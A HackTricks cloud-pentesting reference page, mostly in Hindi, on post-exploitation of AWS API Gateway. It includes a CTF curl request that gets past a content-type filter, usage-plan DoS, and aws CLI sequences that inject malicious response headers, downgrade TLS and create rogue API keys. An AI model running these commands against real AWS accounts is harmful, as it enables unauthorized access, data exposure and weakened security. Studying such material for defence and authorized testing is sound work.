AWS - API Gateway Post Exploitation

Support HackTricks

API Gateway

अधिक जानकारी के लिए देखें:

Access unexposed APIs

आप https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint में com.amazonaws.us-east-1.execute-api सेवा के साथ एक एंडपॉइंट बना सकते हैं, उस नेटवर्क में एंडपॉइंट को उजागर करें जहाँ आपके पास पहुँच है (संभवतः एक EC2 मशीन के माध्यम से) और सभी कनेक्शनों की अनुमति देने वाले सुरक्षा समूह को असाइन करें। फिर, EC2 मशीन से आप एंडपॉइंट तक पहुँच प्राप्त कर सकेंगे और इसलिए उस गेटवे API को कॉल कर सकेंगे जो पहले उजागर नहीं हुआ था।

Bypass Request body passthrough

यह तकनीक इस CTF writeup में पाई गई थी।

जैसा कि AWS दस्तावेज़ में PassthroughBehavior अनुभाग में संकेतित है, डिफ़ॉल्ट रूप से, मान WHEN_NO_MATCH , जब अनुरोध के Content-Type हेडर की जांच की जाती है, तो अनुरोध को बिना किसी परिवर्तन के बैक एंड पर पास करेगा।

इसलिए, CTF में API गेटवे में एक एकीकरण टेम्पलेट था जो फ्लैग को प्रतिक्रिया में निकालने से रोक रहा था जब एक अनुरोध Content-Type: application/json के साथ भेजा गया था:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

हालांकि, Content-type: text/json के साथ एक अनुरोध भेजने से उस फ़िल्टर को रोका जा सकता है।

अंत में, चूंकि API Gateway केवल Get और Options की अनुमति दे रहा था, इसलिए किसी भी सीमा के बिना एक मनमाना dynamoDB क्वेरी भेजना संभव था, जिसमें क्वेरी को बॉडी में भेजकर और हेडर X-HTTP-Method-Override: GET का उपयोग किया गया:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

In the Enumeration section you can see how to obtain the usage plan of the keys. If you have the key and it's limited to X usages per month, you could just use it and cause a DoS.

The API Key just need to be included inside a HTTP header called x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

An attacker with the permissions apigateway:UpdateGatewayResponse and apigateway:CreateDeployment can मौजूदा गेटवे प्रतिक्रिया को संशोधित कर सकते हैं ताकि कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल किए जा सकें जो संवेदनशील जानकारी लीक करते हैं या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करते हैं.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: संवेदनशील जानकारी का लीक, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।

परीक्षण की आवश्यकता

apigateway:UpdateStage, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:UpdateStage और apigateway:CreateDeployment की अनुमति है, एक मौजूदा API गेटवे स्टेज को ट्रैफ़िक को एक अलग स्टेज पर पुनर्निर्देशित करने या कैशिंग सेटिंग्स को बदलने के लिए संशोधित कर सकता है ताकि कैश किए गए डेटा तक अनधिकृत पहुंच प्राप्त की जा सके

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: कैश किए गए डेटा तक अनधिकृत पहुंच, API ट्रैफ़िक को बाधित या इंटरसेप्ट करना।

परीक्षण की आवश्यकता

apigateway:PutMethodResponse, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:PutMethodResponse और apigateway:CreateDeployment की अनुमति है, एक मौजूदा API गेटवे REST API विधि के विधि प्रतिक्रिया को संशोधित कर सकता है ताकि कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल किए जा सकें जो संवेदनशील जानकारी लीक करते हैं या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करते हैं

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: संवेदनशील जानकारी का लीक, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।

परीक्षण की आवश्यकता

apigateway:UpdateRestApi, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:UpdateRestApi और apigateway:CreateDeployment की अनुमति है, API गेटवे REST API सेटिंग्स को लॉगिंग को अक्षम करने या न्यूनतम TLS संस्करण को बदलने के लिए संशोधित कर सकता है, जो संभावित रूप से API की सुरक्षा को कमजोर कर सकता है

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: API की सुरक्षा को कमजोर करना, संभावित रूप से अनधिकृत पहुंच की अनुमति देना या संवेदनशील जानकारी को उजागर करना।

परीक्षण की आवश्यकता

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

एक हमलावर जिसके पास अनुमतियाँ apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, और apigateway:CreateUsagePlanKey हैं, वह नए API कुंजी बना सकता है, उन्हें उपयोग योजना के साथ जोड़ सकता है, और फिर इन कुंजियों का उपयोग API तक अनधिकृत पहुंच के लिए कर सकता है

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

संभावित प्रभाव: API संसाधनों तक अनधिकृत पहुंच, सुरक्षा नियंत्रणों को बायपास करना।

परीक्षण की आवश्यकता

HackTricks का समर्थन करें

Last updated